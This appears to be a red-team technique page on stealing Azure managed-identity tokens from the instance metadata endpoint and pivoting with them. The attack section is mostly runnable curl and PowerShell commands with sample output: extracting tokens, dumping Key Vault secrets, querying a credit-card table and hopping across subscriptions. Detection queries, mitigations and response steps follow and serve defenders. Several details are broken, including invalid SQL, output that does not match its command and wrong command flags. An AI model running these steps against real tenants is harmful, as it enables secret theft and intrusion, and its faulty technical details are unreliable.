| Attribute | Details | |—|—| | Technique ID | LM-AUTH-016 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | Entra ID (Azure AD) | | Severity | Critical | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure subscriptions with managed identities enabled | | Patched In | N/A (Design pattern, requires mitigation) | | Author | SERVTEP – Artur Pchelnikau |
Concept: Azure managed identities (both system-assigned and user-assigned) automatically generate access tokens for Azure services without requiring credential management. An attacker with access to an Azure compute resource (VM, App Service, Container, Function App) can extract the managed identity token from the Azure Instance Metadata Service (IMDS) endpoint. This token can then be used to access OTHER Azure resources (databases, Key Vaults, storage accounts, etc.) that the managed identity has permissions to, effectively pivoting across resource boundaries within the same subscription or across subscriptions if RBAC is misconfigured.
Attack Surface: Azure IMDS endpoint (169.254.169.254:80), managed identity credential caching, Azure compute resources with attached identities, cross-resource RBAC assignments.
Business Impact: Attacker gains token-based access to multiple Azure resources without needing passwords or keys. Can exfiltrate secrets from Key Vaults, access SQL databases, read sensitive data from storage accounts, and maintain persistence via additional role assignments.
Technical Context: Token extraction is trivial (single HTTP request) and typically completes in < 1 second. Detection requires monitoring IMDS access patterns or token usage anomalies. Tokens are valid for 1 hour and can be refreshed indefinitely if attacker maintains compute resource access.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 1.3.1, 1.3.6 | Service Principal and Managed Identity monitoring | | DISA STIG | IA-2, IA-4 | Authentication and Account Management for Azure resources | | CISA SCuBA | AZ-2, AZ-5 | Azure resource authentication and access controls | | NIST 800-53 | AC-2.1, AC-3, AC-6 | Account Management and Least Privilege | | GDPR | Art. 32 | Security of Processing; access controls for sensitive data | | DORA | Art. 9, Art. 19 | Protection measures and incident reporting | | NIS2 | Art. 21 | Cyber Risk Management; access control enforcement | | ISO 27001 | A.9.1.1, A.9.2.5 | User Access Management; Access Review | | ISO 27005 | Section 8.3.3 | Risk assessment for identity compromise |
Supported Platforms:
Tools:
Supported Versions: All Azure subscriptions with managed identities
Objective: Establish shell/command access to Azure VM, App Service, or Container instance.
Assumption: Attacker has already gained initial access (e.g., via compromised VM credentials, container escape, or web app RCE)
Command (Bash - On Azure VM):
# Verify we're running on an Azure resource with managed identity
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq '.identity' 2>/dev/null || echo "No managed identity found"
# Check if az CLI is available
az account show 2>/dev/null || echo "az CLI not available - use IMDS instead"
Expected Output:
{
"principalId": "12345678-1234-1234-1234-123456789012",
"tenantId": "87654321-4321-4321-4321-210987654321",
"type": "SystemAssigned"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Retrieve OAuth token for managed identity without needing credentials.
Command (Bash - Extract System-Assigned Token):
# Request token for Azure Resource Manager (ARM) API
IMDS_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" | jq -r '.access_token')
echo "Token obtained: ${IMDS_TOKEN:0:50}..."
# Decode token to verify claims
echo "$IMDS_TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq '.' || echo "Cannot decode (expected base64 format)"
Expected Output:
Token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...
{
"aud": "https://management.azure.com",
"exp": 1704873600,
"iat": 1704870000,
"iss": "https://sts.windows.net/87654321-4321-4321-4321-210987654321/",
"oid": "12345678-1234-1234-1234-123456789012",
"roles": ["Contributor", "Reader"],
"sub": "12345678-1234-1234-1234-123456789012"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
az resource show --resource-group RG --name VMNAME --resource-type Microsoft.Compute/virtualMachines | grep -i identityObjective: Leverage stolen token to access sensitive resources (databases, Key Vaults, storage).
Command (Bash - Query Azure SQL Database):
# Token from Step 2
IMDS_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."
# Request SQL database connection token (different scope)
SQL_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://database.windows.net" | jq -r '.access_token')
# Connect to SQL database using token
sqlcmd -S "yoursqlserver.database.windows.net" -d "YourDatabase" -G -U "user@domain.onmicrosoft.com" -P "$SQL_TOKEN"
# Example query: Extract sensitive data
sqlcmd -S "yoursqlserver.database.windows.net" -d "YourDatabase" -G -U "user@domain.onmicrosoft.com" -P "$SQL_TOKEN" -Q "SELECT * FROM CreditCards LIMIT 1000;"
Expected Output:
1> SELECT * FROM Customers LIMIT 10;
2> GO
customer_id customer_name email
1 John Doe john.doe@company.com
2 Jane Smith jane.smith@company.com
...
What This Means:
OpSec & Evasion:
Troubleshooting:
az sql server ad-admin list --server yoursqlserver --resource-group RGObjective: Use managed identity token to steal secrets from Azure Key Vault.
Command (Bash - Extract Key Vault Secret):
# Get token for Key Vault scope
KV_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net" | jq -r '.access_token')
# List all secrets in Key Vault
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://yourvault.vault.azure.net/secrets?api-version=2016-10-01" | jq '.value[].id'
# Extract specific secret value
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://yourvault.vault.azure.net/secrets/DatabasePassword?api-version=2016-10-01" | jq '.value'
Expected Output:
https://yourvault.vault.azure.net/secrets/DatabasePassword
https://yourvault.vault.azure.net/secrets/ApiKey
https://yourvault.vault.azure.net/secrets/TenantSecret
"MySecretPassword123!@#"
What This Means:
OpSec & Evasion:
Troubleshooting:
az keyvault show --name yourvault --resource-group RGObjective: Chain compromised resources to access broader Azure environment.
Command (PowerShell - Enumerate Resources Accessible via Token):
# Use token to authenticate to Azure
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."
# Install module if needed
Install-Module -Name Az.Accounts -Force
# Connect using token (no password needed)
Connect-AzAccount -AccessToken $token -ManagedServiceIdentity
# List all resources in subscription
Get-AzResource | Select ResourceName, ResourceType, ResourceGroupName
# List SQL servers
Get-AzSqlServer | Select ServerName, ResourceGroupName
# List Key Vaults
Get-AzKeyVault | Select VaultName, ResourceGroupName
# List storage accounts
Get-AzStorageAccount | Select StorageAccountName, ResourceGroupName
Expected Output:
ResourceName ResourceType ResourceGroupName
--- --- ----
myvm Microsoft.Compute/virtualMachines RG-Prod
mydbserver Microsoft.Sql/servers RG-Data
myvault Microsoft.KeyVault/vaults RG-Security
mystorageaccount Microsoft.Storage/storageAccounts RG-Storage
What This Means:
Supported Versions: All Azure subscriptions with user-assigned managed identities
Objective: Discover user-assigned identities that are attached to current resource.
Command (Bash - Enumerate Managed Identities):
# Query IMDS for current resource's attached identities
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq '.identity' 2>/dev/null
# For user-assigned identities, IMDS returns clientId
UAMI_CLIENT_ID=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq -r '.identity.userAssignedIdentities | keys[0]' 2>/dev/null)
echo "User-Assigned Identity ClientID: $UAMI_CLIENT_ID"
# Request token for this specific identity
UAMI_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&client_id=$UAMI_CLIENT_ID&resource=https://management.azure.com" | jq -r '.access_token')
echo "User-Assigned Identity Token obtained: ${UAMI_TOKEN:0:50}..."
Expected Output:
User-Assigned Identity ClientID: 87654321-1234-5678-1234-abcdef123456
User-Assigned Identity Token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...
What This Means:
OpSec & Evasion:
Troubleshooting:
az vm identity show --resource-group RG --name VMNAMEObjective: Use user-assigned identity token to access target resources.
Command (Bash - Exploit User-Assigned Identity):
# Request token for Key Vault using user-assigned identity
UAMI_CLIENT_ID="87654321-1234-5678-1234-abcdef123456"
KV_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&client_id=$UAMI_CLIENT_ID&resource=https://vault.azure.net" | jq -r '.access_token')
# Extract secrets from Key Vault
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://yourvault.vault.azure.net/secrets?api-version=2016-10-01" | jq '.value'
# Extract specific API key
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://yourvault.vault.azure.net/secrets/ApiKey?api-version=2016-10-01" | jq '.value'
Expected Output:
[
{"id": "https://yourvault.vault.azure.net/secrets/ConnectionString", ...},
{"id": "https://yourvault.vault.azure.net/secrets/ApiKey", ...}
]
"sk-abc123def456..." # OpenAI API key exposed
What This Means:
Supported Versions: Azure subscriptions with cross-subscription RBAC
Objective: Access resources in different subscription if RBAC allows.
Command (PowerShell - Exploit Cross-Subscription Access):
# Token from managed identity
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."
# Connect with token
Connect-AzAccount -AccessToken $token -ManagedServiceIdentity
# List all subscriptions accessible to this identity
Get-AzSubscription | Select SubscriptionName, SubscriptionId, TenantId
# Switch to different subscription
Select-AzSubscription -SubscriptionId "other-subscription-guid"
# Access resources in different subscription
Get-AzResource -ResourceGroupName "OtherTeamRG" | Select ResourceName
Expected Output:
SubscriptionName SubscriptionId TenantId
-------- --------- ----
Prod-Subscription 12345678-1234-1234-1234-123456789012 87654321-4321-...
Dev-Subscription 87654321-1234-1234-1234-123456789012 87654321-4321-...
ResourceName ResourceType
---------- ---
other-teams-database Microsoft.Sql/servers
other-teams-storage Microsoft.Storage/storageAccounts
What This Means:
Atomic Red Team Test:
Simulation Command (Non-Destructive):
# Simulate IMDS token extraction without accessing sensitive resources
IMDS_TEST=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" -w "\nHTTP_Status:%{http_code}" 2>&1)
if echo "$IMDS_TEST" | grep -q "HTTP_Status:200"; then
echo "✓ IMDS endpoint accessible (token extraction possible)"
echo "✓ Managed identity configured on this resource"
else
echo "✗ IMDS endpoint not accessible (resource not in Azure or identity not attached)"
fi
# Cleanup (no artifacts created)
echo "Simulation complete"
Cleanup Command:
# No persistent changes
echo "No cleanup required"
Reference: MITRE T1550
Version: 2.40.0+ Minimum Version: 2.30.0 Supported Platforms: Windows, macOS, Linux
Installation:
# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | bash
# Windows (via Chocolatey)
choco install azure-cli -y
Usage (Token Request):
az account get-access-token --resource https://management.azure.com
Version: 10.0.0+ Minimum Version: 9.0.0
Installation:
Install-Module -Name Az -AllowClobber -Scope CurrentUser
Usage (Managed Identity Login):
Connect-AzAccount -Identity
Version: 7.64+
Usage (IMDS Token Extraction):
curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com"
Rule Configuration:
azure_monitor, o365:auditazure:compute, azure:activityoperation_name, source_ip, request_method, endpointSPL Query:
index=azure_monitor source="169.254.169.254"
(request_path="*/metadata/identity/oauth2/token*" OR
request_path="*/metadata/instance*")
| stats count by src_ip, host, request_path
| where count > 10
| alert
What This Detects:
Manual Configuration Steps:
count > 10Rule Configuration:
AzureActivity, AzureDiagnosticsCaller, CallerIpAddress, OperationName, ResourceKQL Query:
AzureActivity
| where OperationName in ("List secret", "Get secret", "List secrets", "Get object value")
| where Caller contains "managed identity" or Caller =~ "managed identity"
| summarize SecretAccessCount = dcount(Resource) by Caller, CallerIpAddress, TimeGenerated
| where SecretAccessCount > 3
| project Caller, CallerIpAddress, SecretAccessCount, TimeGenerated
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Managed Identity Token AbuseHigh5 minutes1 hourCallerSource: Microsoft Sentinel Detection Queries
Alert Name: “Suspicious use of managed identity token”
Manual Configuration Steps:
Search-UnifiedAuditLog -Operations "Get secret", "List secret", "Get object value" -StartDate (Get-Date).AddDays(-7) |
Where-Object {$_.AuditData -like "*managed*identity*"} |
Select Timestamp, UserIds, ClientIP, AuditData |
Export-Csv "C:\ManagedIdentityAccess.csv"
Caller, CallerIPAddress, and Resource in AuditDataManual Configuration Steps:
Enable Activity LogDisable Managed Identity if Not Required: Remove managed identity from resources that don’t need cloud API access. Applies To Versions: All Azure subscriptions
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable system-assigned identity
Update-AzVM -ResourceGroupName "RG" -Name "VMNAME" -IdentityType None
Restrict IMDS Access: Configure Network Security Groups to block IMDS endpoint access from untrusted processes. Applies To Versions: Azure VMs with NSGs
Manual Steps (Azure Portal):
Note: This blocks IMDS for compromised processes but may break legitimate applications using managed identities
Implement Managed Identity Access Control: Use Conditional Access policies to restrict managed identity token issuance. Applies To Versions: All Azure with Azure AD conditional access
Manual Steps (Azure Portal):
Restrict Managed Identity AccessEnforce Just-In-Time (JIT) Access for Key Vault: Require approval for Key Vault secret access. Applies To Versions: Azure Key Vault with RBAC
Manual Steps (PowerShell):
# Create Key Vault access policy with no secret GET permission by default
$identityId = "12345678-1234-1234-1234-123456789012" # Managed identity ObjectID
# Remove all Key Vault permissions
Remove-AzKeyVaultAccessPolicy -VaultName "yourvault" -ObjectId $identityId
# Add only List permission (cannot get actual values)
Set-AzKeyVaultAccessPolicy -VaultName "yourvault" -ObjectId $identityId `
-PermissionsToSecrets List
Implement Role-Based Access Control (RBAC) Least Privilege: Assign managed identities to custom RBAC roles with minimal permissions. Applies To Versions: All Azure subscriptions
Manual Steps (PowerShell):
# Create custom role with minimal permissions
$role = @{
Name = "ManagedIdentity-StorageReadOnly"
Description = "Read-only access to storage accounts only"
Type = "CustomRole"
Actions = @(
"Microsoft.Storage/storageAccounts/read",
"Microsoft.Storage/storageAccounts/listKeys/action"
)
AssignableScopes = @("/subscriptions/your-subscription-id")
}
New-AzRoleDefinition -InputObject $role
# Assign role to managed identity
$identityId = "12345678-1234-1234-1234-123456789012"
New-AzRoleAssignment -ObjectId $identityId -RoleDefinitionName "ManagedIdentity-StorageReadOnly" `
-Scope "/subscriptions/your-subscription-id/resourceGroups/RG"
Monitor and Restrict IMDS Token Requests: Log and alert on IMDS access patterns. Applies To Versions: All Azure VMs (requires Azure Monitor)
Manual Steps (Azure Portal):
Use Azure Key Vault RBAC Instead of Access Policies: Provide finer-grained access control. Applies To Versions: Azure Key Vault with RBAC enabled (GA)
Manual Steps (PowerShell):
# Update Key Vault to use RBAC
Update-AzKeyVault -VaultName "yourvault" -EnableRbacAuthorization
# Assign role binding
$identityId = "12345678-1234-1234-1234-123456789012"
New-AzRoleAssignment -ObjectId $identityId `
-RoleDefinitionName "Key Vault Secrets User" `
-Scope "/subscriptions/your-subscription-id/resourceGroups/RG/providers/Microsoft.KeyVault/vaults/yourvault"
Managed Identity - Device Compliance Required# Check if managed identities are disabled on VMs
Get-AzVM -ResourceGroupName "RG" | Select Name, IdentityType
# Expected: IdentityType should be $null or "None"
# Verify RBAC assignments use custom roles (not Reader/Contributor)
Get-AzRoleAssignment -Filter "PrincipalType eq 'ServicePrincipal'" |
Select DisplayName, RoleDefinitionName, Scope
# Expected: Should see custom role names (e.g., "ManagedIdentity-StorageReadOnly")
# Check Key Vault RBAC is enabled
Get-AzKeyVault -VaultName "yourvault" | Select EnableRbacAuthorization
# Expected: True
Expected Output (If Secure):
Name IdentityType
---- ---
vm1 (null/None)
vm2 (null/None)
DisplayName RoleDefinitionName Scope
----------- -------- -----
managed-identity-app1 ManagedIdentity-StorageReadOnly /subscriptions/.../resourceGroups/RG
managed-identity-app2 ManagedIdentity-KeyVaultReadSecrets /subscriptions/.../keyVaults/yourvault
EnableRbacAuthorization : True
What to Look For:
# Disable the compromised resource's managed identity
Update-AzVM -ResourceGroupName "RG" -Name "VMNAME" -IdentityType None
# Or delete the resource if compromise is severe
Remove-AzVM -ResourceGroupName "RG" -Name "VMNAME" -Force
Manual (Azure Portal):
# Rotate Key Vault secrets that the identity accessed
$secretName = "DatabasePassword"
$newSecret = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.Guid]::NewGuid().ToString()))
Set-AzKeyVaultSecret -VaultName "yourvault" -Name $secretName -SecretValue $newSecret
# Export Azure Activity Log for forensic analysis
Get-AzLog -ResourceGroup "RG" -StartTime (Get-Date).AddDays(-7) -WarningAction SilentlyContinue |
Export-Csv "C:\Evidence\AzureActivityLog.csv"
# Export Key Vault access logs
Get-AzDiagnosticSetting -ResourceId "/subscriptions/.../resourceGroups/RG/providers/Microsoft.KeyVault/vaults/yourvault" |
Export-Csv "C:\Evidence\KeyVaultDiagnostics.csv"
# Disable compromised identity's role assignments
Get-AzRoleAssignment -ObjectId "12345678-1234-1234-1234-123456789012" |
Remove-AzRoleAssignment
# Create new managed identity with least-privilege permissions
$newIdentity = New-AzUserAssignedIdentity -ResourceGroupName "RG" -Name "NewIdentity"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-004] Kubelet API Unauthorized Access | Attacker gains access to AKS container or VM |
| 2 | Lateral Movement | [LM-AUTH-016] | Extract Managed Identity Token from IMDS |
| 3 | Credential Access | [CA-UNSC-007] Azure Key Vault Secret Extraction | Attacker uses token to steal Key Vault secrets |
| 4 | Lateral Movement | [LM-AUTH-005] Service Principal Key/Certificate Abuse | Attacker uses stolen secrets to access other services |
| 5 | Impact | [Impact] Data Exfiltration, Persistence | Attacker maintains access and steals sensitive data |
Technique Complexity: Low (token extraction is trivial; exploitation depends on RBAC misconfiguration)
Detection Difficulty: Medium (IMDS access is legitimate, but patterns indicate compromise)
Persistence Potential: High (attacker can maintain access indefinitely if RBAC not removed)
Cross-Platform Applicability: Azure-specific; not applicable to AWS or GCP (different identity models)
Recovery Time: Hours to days (depends on backup availability and RBAC cleanup)
Related Techniques: